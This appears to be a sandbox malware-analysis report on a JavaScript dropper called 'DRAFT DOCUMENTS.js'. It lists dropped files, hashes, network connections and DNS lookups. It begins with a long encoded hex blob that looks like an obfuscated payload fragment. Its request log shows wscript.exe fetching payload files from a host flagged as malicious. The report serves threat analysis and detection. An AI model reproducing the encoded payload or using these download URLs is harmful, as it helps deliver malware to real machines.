03700160005000700F60005710000C60096001600D40096004600560027003600E6009471000056005700C60016006700F50046002700F600770037003700160007D1000003002600F600C60026B00000230027004700379000003300270047003790000046002700F60077003700370016000511000097002700F60076005600470016003611000037005600960027004700E60056F000005600C60096006600F600270005F00000160047001600440002002700560037005500C5002700560037007700F6002700240015001500C5004700E60056003600E6005600457300005600760016002700F600470035004600560047000700970027003600E6005400C5004700C60057001600660056004400C53300005600760016002700F600470035004600560047000700970027003600E6005400C53200002700560037007700F600270024000200150015510000C600160096004700E600560046005600270036510000C5300000C5004700360056004700F60027000500C50047006600F6003700F600270036009600D400C5720000C5003700C600160096004700E60056004600560027003400C50047006600F6003700F600270036009600D400C5F2000002002200C600D6008700E200E600960016008600360097005600B600F50046005600870096006600C5B2100022000200F600D20002003700D20002001300C600D600870002004700270056006700E600F6003600D20002D20000E3004700360096004600C3D00000E30097001600270027001600C3F00000E3001600470016004600F200C3F00000E3001600470016004600C3D00000E3007600E6009600270047003700F200C3310000E3007600E6009600270047003700C3110000470037009600C6000700E200E600960016008600360097005600B600C500370056003600E6005600270056006600560027000500C50027005600470057000700D600F600340002005600C600070007001400C555
Executable files
0
Suspicious files
8
Text files
12
Unknown types
0

Dropped files

PID
Process
Filename
Type
2952wermgr.exeC:\ProgramData\Microsoft\Windows\WER\ReportArchive\Critical_powershell.exe_831beaffa7ea23d61122fbc329d894e2f4f63a2_00000000_543c59e4-12a5-4dc5-840c-391e4d280c7b\Report.wer —
MD5:—
SHA256:—
720powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_anredy0v.fiu.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
720powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msbinary
MD5:6899E452632876AF616E8C6083EE734D
SHA256:932E235276E0037A09035312580F2A76610ABAFFF886C156FEC82DEB772EE2CD
720powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ttmije2w.gli.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
2952wermgr.exeC:\ProgramData\Microsoft\Windows\WER\Temp\WERAC55.tmp.WERInternalMetadata.xmlxml
MD5:473A1564C6012BEAB421AD90B34EF83C
SHA256:82913F383C45E51CFCD259F938673FCEE15B116518F7B8F9CF0A0BDD87B52534
1644powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\BYU0OXLYO4P63OR9YGIR.tempbinary
MD5:A064A213E229635C598D3E1825B82D52
SHA256:0E2E67B62830B65A859DF4AB262CF6935F659DA4658886178979FF7ED1D1AAEB
2952wermgr.exeC:\ProgramData\Microsoft\Windows\WER\Temp\WERAC84.tmp.xmlxml
MD5:08ACA717FE7CB9ACDB5CDFD8B3E8BE8E
SHA256:29EEA0301483CC180B2FD76B93803647948835FF921902FF7DE6CB826CE474E4
2952wermgr.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\37C951188967C8EB88D99893D9D191FEbinary
MD5:FB64A9EBEDF48D3895381D5B7D80743D
SHA256:EA21D495930AD76F267A33A0F593DBF0C7EA75E457FCAE49A29DAAD8BD920F42
720powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txttext
MD5:1B4CD1066348955DEBEA31F67A2176B7
SHA256:3143B7E16C5159752FAC188EB8118E04943AC3861D51FC34040978C3693BA32A
2952wermgr.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\21253908F3CB05D51B1C2DA8B681A785binary
MD5:82C30E45BF5F93A5DB1D5E47F913053B
SHA256:2C6BBFF9207065E8800C4AF0CB2748818ABB3CFFC0D6D518FE17F76A232F8967
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
48
DNS requests
23
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
6308
wscript.exe
GET
200
104.21.37.117:80
http://horus-protector.pro/c/s4.txt
unknown
—
—
malicious
6308
wscript.exe
GET
200
104.21.37.117:80
http://horus-protector.pro/c/r4.txt
unknown
—
—
malicious
4424
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
3676
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
whitelisted
5368
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
5368
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEApDqVCbATUviZV57HIIulA%3D
unknown
—
—
whitelisted
5304
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3952
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
2348
svchost.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
5368
SearchApp.exe
131.253.33.254:443
a-ring-fallback.msedge.net
MICROSOFT-CORP-MSN-AS-BLOCK
US
unknown
5368
SearchApp.exe
184.86.251.13:443
www.bing.com
Akamai International B.V.
DE
unknown
3948
slui.exe
20.83.72.98:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
6012
MoUsoCoreWorker.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4340
RUXIMICS.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
6308
wscript.exe
104.21.37.117:80
horus-protector.pro
CLOUDFLARENET
—
unknown
3112
slui.exe
20.83.72.98:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted

DNS requests

Domain
IP
Reputation
t-ring-fdv2.msedge.net
  • 13.107.237.254
unknown
a-ring-fallback.msedge.net
  • 131.253.33.254
unknown
settings-win.data.microsoft.com
  • 51.124.78.146
  • 4.231.128.59
whitelisted
www.bing.com
  • 184.86.251.13
  • 184.86.251.16
  • 184.86.251.11
  • 184.86.251.28
  • 184.86.251.25
  • 184.86.251.15
  • 184.86.251.30
  • 184.86.251.4
  • 184.86.251.9
  • 184.86.251.14
  • 184.86.251.10
  • 184.86.251.7
  • 184.86.251.20
whitelisted
google.com
  • 142.250.185.78
whitelisted
horus-protector.pro
  • 104.21.37.117
  • 172.67.207.214
malicious
fp-afd-nocache-ccp.azureedge.net
  • 13.107.246.60
whitelisted
login.live.com
  • 20.190.159.68
  • 40.126.31.67
  • 20.190.159.23
  • 20.190.159.64
  • 20.190.159.71
  • 20.190.159.75
  • 20.190.159.73
  • 40.126.31.71
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
client.wns.windows.com
  • 40.113.103.199
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
DRAFT DOCUMENTS.js